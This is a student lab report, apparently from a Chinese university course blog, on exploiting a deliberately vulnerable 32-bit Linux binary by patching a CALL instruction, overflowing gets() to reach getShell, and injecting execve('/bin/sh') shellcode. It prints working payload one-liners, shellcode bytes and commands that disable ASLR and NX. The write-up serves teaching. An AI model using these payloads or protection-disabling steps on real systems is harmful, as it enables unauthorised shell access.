20242408 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242408 2026-2027-1《网络与系统攻防技术》实验一实验报告

1.基础知识

1.1 常用汇编指令及其机器码

本次实验要和机器码打交道,先总结一下实验要求掌握的几条指令的机器码:

指令 机器码 说明
NOP 90 空操作,什么也不做,常用来做"滑梯"
JMP rel8 EB 无条件短跳转,后跟 1 字节带符号偏移
JMP rel32 E9 无条件近跳转,后跟 4 字节带符号偏移
JE / JZ rel8 74 相等(ZF=1)时跳转
JNE / JNZ rel8 75 不相等(ZF=0)时跳转
CMP AL, imm8 3C AL 与 8 位立即数比较
CMP EAX, imm32 3D EAX 与 32 位立即数比较
CMP r/m8, r8 38 寄存器与内存/寄存器比较
CMP r/m32, r32 39 同上,32 位版本
CALL rel32 E8 相对调用,实验一的主要修改对象
RET C3 函数返回,弹出返回地址并跳转
LEAVE C9 恢复栈帧,等价于 mov esp,ebp; pop ebp
PUSH EBP 55 把 ebp 压栈
MOV ESP, EBP 89 E5 建立新的栈帧基址

关键点在于 CALL 指令是相对寻址的:E8 后面跟的 4 个字节是"下一条指令地址"到"目标地址"的带符号偏移量(小端存放)。所以目标地址 = 下一条指令的地址 + 偏移量。实验里正是靠这个公式来手工修改跳转目标的。

1.2 反汇编与十六进制编辑

  • objdump -d:对可执行文件反汇编,能看到每条指令的地址、机器码和汇编助记符,是"读懂二进制"最直接的入口。
  • gdb:动态调试工具,可以打断点、查看寄存器、查看栈内存,还能附加(attach)到正在运行的进程上。
  • vim -b + :%!xxd:用 vim 以二进制模式打开文件,:%!xxd 把内容转成十六进制文本,改完后 :%!xxd -r 再转回二进制,最后保存。必须用 -b 二进制模式,否则 vim 会转换换行符、把文件改坏。

1.3 栈帧与缓冲区溢出

函数调用时栈上从高地址到低地址依次是:参数、返回地址、保存的 ebp、局部变量(缓冲区)。ret 指令执行时会把栈上的返回地址弹出给 eip,程序就跳回调用者继续执行。

本实验的 foo 函数用 gets() 读入字符串,而 gets 完全不检查输入长度。如果输入超过缓冲区大小,就会一路往上覆盖保存的 ebp 和返回地址。只要把返回地址覆盖成我们想跳转的地址,函数一返回,EIP 就被劫持了。这就是缓冲区溢出(BOF)攻击的基本原理。

从反汇编看,foo 中 lea -0x1c(%ebp),%eax 说明缓冲区起始于 ebp-0x1c(28 字节处),那么从缓冲区开头到返回地址一共是 28 + 4 = 32 字节。所以 payload 就是"32 字节填充 + 目标地址",目标地址要按小端序写入(如 \x7d\x84\x04\x08)。

1.4 Shellcode 与防护机制

Shellcode 是一段能完成特定功能的机器码。本实验注入的是 execve("/bin/sh") 的 23 字节经典 shellcode:先把 eax 清零,把字符串 "/bin//sh" 压栈,再用 int 0x80(机器码 cd 80)发起系统调用(execve 的系统调用号是 11,即 0x0b)。

要让 shellcode 在栈上跑起来,还要处理两道防护:

  • ASLR(地址随机化):把栈地址随机化,导致返回地址每次都不一样。对策:echo 0 > /proc/sys/kernel/randomize_va_space 临时关闭。
  • NX(栈不可执行):现代系统默认栈上数据不可执行。对策:用 patchelf --set-execstack 给程序加上可执行栈标记。

另外常用 NOP 滑梯(一串 0x90)垫在 shellcode 前面,返回地址只要落在滑梯里,CPU 就会顺着 NOP 一路滑进 shellcode,提高命中率。

2.实验内容

本次实践的对象是一个名为 pwn1 的 Linux 可执行文件(32 位 ELF)。正常流程是 main 调用 foo,foo 用 gets 读入用户输入并用 puts 回显;程序里还有一段正常情况下永远不会被执行的代码 getShell(内部调用 system("/bin/sh"),能直接返回一个 shell)。实验目标就是想尽办法让 getShell 或者我们自己写的代码跑起来:

  1. 手工修改可执行文件:直接改二进制里的机器指令,让 main 的 call 从"调用 foo"变成"调用 getShell",改变执行流程。
  2. 利用 foo 的 BOF 漏洞:构造攻击输入覆盖返回地址,让 foo 返回时跳进 getShell。
  3. 注入自制的 shellcode:不再借助程序里现成的 getShell,而是把自己写的 execve("/bin/sh") shellcode 注入栈并运行。

三个任务难度递进:改机器码是最直观的"逆向+修补",BOF 是"栈溢出+控制流劫持",shellcode 注入则是在前两者基础上再加上"代码注入"和对抗防护机制。

3.实验过程

3.1 环境准备:让 64 位 Kali 能跑 32 位程序

实验程序是 32 位的,而我的 Kali 是 64 位系统,第一步先解决运行环境:

  1. 添加 i386 架构,更新软件源:
sudo dpkg --add-architecture i386
sudo apt update

添加i386架构
更新软件源

  1. 安装 32 位运行库:
sudo apt install -y libc6:i386 libncurses6:i386 libstdc++6:i386 lib32z1 libtinfo6:i386

安装32位运行库

  1. 程序是按 libncurses.so.5 编译的,而 Kali 里只有 .so.6,建两个软链接让老程序能找到库:
sudo ln -s /lib/i386-linux-gnu/libncurses.so.6 /lib/i386-linux-gnu/libncurses.so.5
sudo ln -s /lib/i386-linux-gnu/libtinfo.so.6 /lib/i386-linux-gnu/libtinfo.so.5

创建so5软链接

  1. 安装调试和分析工具(gdb、pwntools 等),并验证环境:
sudo apt install -y gdb nmap python3-pip python3-pwntools build-essential
file /lib/i386-linux-gnu/libc.so.6
python3 -c "from pwn import *; print('pwntools OK')"
gdb --version

验证环境

  1. 把 pwn1 程序复制成带自己学号的文件名(截图主机名 wanghan 也是按要求设置的),赋执行权限并确认文件类型:
cd ~/Desktop
ls -l pwn20242408_1 pwn20242408_2
chmod +x pwn20242408_1 pwn20242408_2
file ~/Desktop/pwn20242408_1 ~/Desktop/pwn20242408_2

查看程序文件
查看文件类型

确认是 ELF 32-bit LSB executable,环境就绪。

3.2 任务一:手工修改机器指令,跳转到 getShell

先用 objdump 反汇编,看清楚程序里都有什么:

objdump -d ~/Desktop/pwn20242408_1

反汇编结果中几个关键位置:

  • 0804847d <getShell>:开头是 push ebp / mov esp,ebp / sub $0x18,%esp,然后 movl $0x8048560,(%esp)(把 "/bin/sh" 字符串地址压栈),call system@plt,最后 leave; ret。这就是我们要跳转的目标。
  • 08048491 <foo>:lea -0x1c(%ebp),%eax 定位缓冲区,然后 call gets@plt 读输入、call puts@plt 回显。
  • main 里有一条 080484b5: e8 d7 ff ff ff call 08048491 <foo>,这是唯一调用 foo 的地方。
    反汇编getShell与foo
    反汇编main

计算一下:080484b5 这条 call 占 5 字节,下一条指令是 080484ba。原来的偏移 d7 ff ff ff 是 -41,080484ba - 41 = 08048491,正好是 foo。要跳到 getShell(0804847d),偏移应为 0804847d - 080484ba = -61 = 0xffffffc3。所以只要把第 2 个字节 d7 改成 c3 就行。

用 vim 以二进制模式打开文件,转成十六进制视图后定位修改:

vim -b ~/Desktop/pwn20242408_1
:%!xxd

vim打开二进制

image

找到 call 指令(e8 d7 ff ff ff)所在位置,把 d7 改成 c3:

image

改完后执行 :%!xxd -r 转回二进制并保存。再用 objdump 验证,80484b5: e8 c3 ff ff ff call 804847d <getShell>,修改成功:

image

运行修改后的程序,不再回显输入,而是直接进入了 shell,执行 ls、pwd、exit 验证:

image

任务一完成。

3.3 任务二:利用 BOF 漏洞覆盖返回地址,触发 getShell

任务一改的是程序本身,任务二不改程序,只构造"坏输入"。先用 gdb 调试 pwn20242408_2:

gdb -q ~/Desktop/pwn20242408_2

先看 foo 的反汇编确认缓冲区偏移(lea -0x1c(%ebp)):

image

image

在 gdb 里运行程序,输入一串数字 1111111122222222233333333344444444412345678,程序段错误,EIP 变成了 0x34333231——这正好是 ASCII 字符串 "1234" 的小端十六进制表示。也就是说输入的第 33~36 个字符("1234")覆盖了返回地址,说明从缓冲区开头到返回地址的偏移是 32 字节:

image

偏移确定后,构造 payload:32 字节填充 + getShell 地址的小端写法 \x7d\x84\x04\x08(0x0804847d):

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > ~/Desktop/input20242408_bof

image

用管道把 payload 喂给程序。注意要写成 (cat payload; cat) | ./pwn 的形式——后面的 cat 负责保持标准输入不关闭,否则 shell 拿到手立刻就退出(这个问题后面还会细说):

(cat ~/Desktop/input20242408_bof; cat) | ~/Desktop/pwn20242408_2

程序回显完 payload 后,foo 返回时直接跳进了 getShell,获得了 shell,ls 正常执行:

image

任务二完成。

3.4 任务三:注入自制的 shellcode

任务三不用程序里的 getShell,而是注入自己写的 execve("/bin/sh") shellcode。环境有两道坎要先过:

  1. 关闭 ASLR,让栈地址固定:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image

  1. 让栈可执行(Kali 默认栈是 NX 的,shellcode 在栈上跑不起来):
patchelf --set-execstack ~/Desktop/pwn20242408

image

接下来要解决"返回地址填什么"的问题:地址随机化虽然关了,但栈地址还受环境变量长度影响,不能凭空猜。我的做法是先构造一个"探针"输入——NOP 滑梯 + 标记串 "SHELLCODE" + 结尾标记 \x01\x02\x03\x04,让程序停住,再用 gdb 附加到进程上直接看栈:

perl -e 'print "\x90"x56 . "SHELLCODE" . "\x01\x02\x03\x04"' > input
./pwn20242408 &        # 另开终端,或用管道让程序停留在 gets
ps -ef | grep pwn20242408
gdb -p <PID>

image

image

gdb 附加后,在 foo 的 ret 指令(0x080484ae)处下断点,继续运行:

(gdb) break *0x080484ae
(gdb) continue

image

image

断点命中后查看 esp 和栈内容:

(gdb) info registers esp
esp 0xfffffc4c 0xfffffc4c
(gdb) x/40w esp

image

栈上从 0xfffffc4c 开始全是 0x90909090(返回地址已经被 NOP 滑梯覆盖),标记串 "SHELLCODE" 出现在 0xfffffc64。反推一下:缓冲区起始在 0xfffffc2c,返回地址槽在缓冲区 +32 字节处,与任务二算出的 32 字节偏移完全对上了。

为了便于排查,把 core dump 打开(后面分析崩溃现场要用):

ulimit -c unlimited
echo "core.%p" | sudo tee /proc/sys/kernel/core_pattern

image

然后构造真实 shellcode 输入:200 个 NOP + 23 字节的 execve("/bin/sh") shellcode + 结尾标记:

perl -e 'print "\x90"x200, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80", "\x01\x02\x03\x04"' > input

image

再用 gdb 附加确认 shellcode 确实落在了栈上(0xffffcff4 处可以看到 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 这些 shellcode 字节):

image

第一次直接拿"探针"改成的 payload 去攻击,程序崩了,报 broken pipe 和 segmentation fault,生成了 core 文件:

(cat inputcrash; cat) | ./pwn20242408
ls -la core.*

image

用 gdb 批量分析 core 文件,看崩溃现场:

gdb ./pwn20242408 $(ls -t core.* | head -1) -batch \
  -ex "info registers eip esp" \
  -ex "x/40bx $esp-64"

image

结果显示 EIP = 0x41414141(返回地址处是 "AAAA",说明 payload 里的返回地址没写对,执行流没落到 NOP 滑梯上),同时 esp=0xfffffde0,栈上确实能看到 NOP 滑梯。问题清楚了:gdb 调试时的栈地址和直接运行时不一致(环境变量长度不同),直接照搬调试时的地址当然要崩。

解决办法:直接运行时用 env -i 清空环境变量,让栈布局稳定、与测量时一致,然后把返回地址改成 NOP 滑梯内的地址 0xffffde20(小端写 \x20\xde\xff\xff)。最终 payload 在开头加了 32 个 NOP 把返回地址"垫"进滑梯,shellcode 前加了一条 \x83\xec\x80(把 esp 抬高,避免入栈的字符串覆盖后面的指令),并用 \x31\xd2 清空 edx、以连续 \x40(inc eax)把 eax 累加到 11(execve 的系统调用号)再 cd 80:

perl -e 'print "\x90"x32, "\x20\xde\xff\xff", "\x83\xec\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\xcd\x80", "\n"' > input

用 xxd 检查 payload 结构:前 32 个字节是 NOP,之后是返回地址 20 de ff ff,再往后是 shellcode:

image

最后攻击:

(cat input; cat) | env -i ./pwn20242408

成功拿到 shell,执行 whoami 返回 kali,echo SUCCEED 正常输出,ls 能看到刚才的 core 文件和 payload 文件:

image

任务三完成。

4.问题及解决方案

  • 问题1:64 位 Kali 上运行 32 位程序缺库,且找不到 libncurses.so.5。
    解决方案:先 sudo dpkg --add-architecture i386 添加 32 位架构,再安装 libc6:i386、libstdc++6:i386、lib32z1、libtinfo6:i386 等 32 位运行库;程序按旧版 .so.5 编译,而系统只有 .so.6,用 ln -s 建软链接让程序能找到。

  • 问题2:执行 sudo 时报 unable to resolve host wanghan: Name or service not known。
    解决方案:这是 /etc/hosts 里没有本机主机名的解析记录。虽然输密码后命令还能正常执行(只是烦人),但为了干净,在 /etc/hosts 中加一行 127.0.1.1 wanghan 即可彻底解决。截图里多次出现这个报错,排查时差点以为是环境坏了。

  • 问题3:用 cat payload | ./pwn 注入后,shell 刚出现就退出,报 broken pipe。
    解决方案:管道传完 payload 后,程序端 stdin 立即收到 EOF,getShell 里的 /bin/sh 读不到输入就退出了。改用 (cat payload; cat) | ./pwn,多出来的 cat 保持标准输入打开,shell 就能一直交互。

  • 问题4:gdb 里调试好的返回地址,直接运行时却不灵,程序段错误(EIP=0x41414141)。
    解决方案:gdb 启动时会往环境里塞一堆变量,导致调试时的栈地址和直接运行时不一样;即便关了 ASLR,环境变量长度不同栈也会偏移。后来用 core dump 分析崩溃现场确认了原因,最终在运行时用 env -i 清空环境变量,让栈布局稳定,把返回地址指向 NOP 滑梯内的地址(0xffffde20),一次成功。

5.学习感悟、思考等

这次实验是我第一次亲手去改一个二进制文件。平时上课讲 e8、c3、90 这些机器码,总觉得是纸上的东西,真到 vim 里把 d7 改成 c3、再看着 objdump 输出从"call foo"变成"call getShell"的时候,才直观体会到"程序就是一堆可以改的数据"这句话。任务二算是把缓冲区溢出的原理真正过了一遍:gets 不检查长度,输入就能顺着栈把返回地址"冲"掉,ret 一执行,控制权就到手了。以前觉得漏洞是新闻里的概念,现在发现一个 30 年前的漏洞写法就在眼前,还挺震撼的。

踩坑最多的地方是地址。任务三里我先后遇到了 gdb 环境和直接运行栈地址不一致、环境变量影响栈位置、第一次注入直接段错误这些问题,绕了不少路。但也正是这些坑让我学会了看 core dump、用 gdb 附加进程看栈、用 env -i 稳定环境这些"土办法"。回头想想,遇到崩溃先别慌,core 文件里其实把什么都说清楚了。

另外对防御机制的理解也加深了:ASLR 让栈地址随机化、NX 让栈不可执行、gets 被禁用……现代系统每一层防护都是在堵这次实验里我们踩过的路。做攻击实验不是为了攻击,而是为了明白防御该防在哪里。

参考资料

  • [1] 诸葛建伟. 网络攻防技术与实践[M]. 北京: 电子工业出版社, 2011. 豆瓣
  • [2] Aleph One. Smashing The Stack For Fun And Profit[J]. Phrack Magazine, 1996, 7(49).
  • [3] Randal E. Bryant, David R. O'Hallaron. 深入理解计算机系统(原书第3版)[M]. 龚奕利, 贺莲, 译. 北京: 机械工业出版社, 2016.
  • [4] NJU SecLab. Software Security — Buffer Overflow Tutorial[EB/OL]. https://seclab.nju.edu.cn/lecture/tutorial/tutorial_bof.pdf
posted @ 2026-10-10 21:42  Aurora-flyleaf  阅读(26)  评论(0)    收藏  举报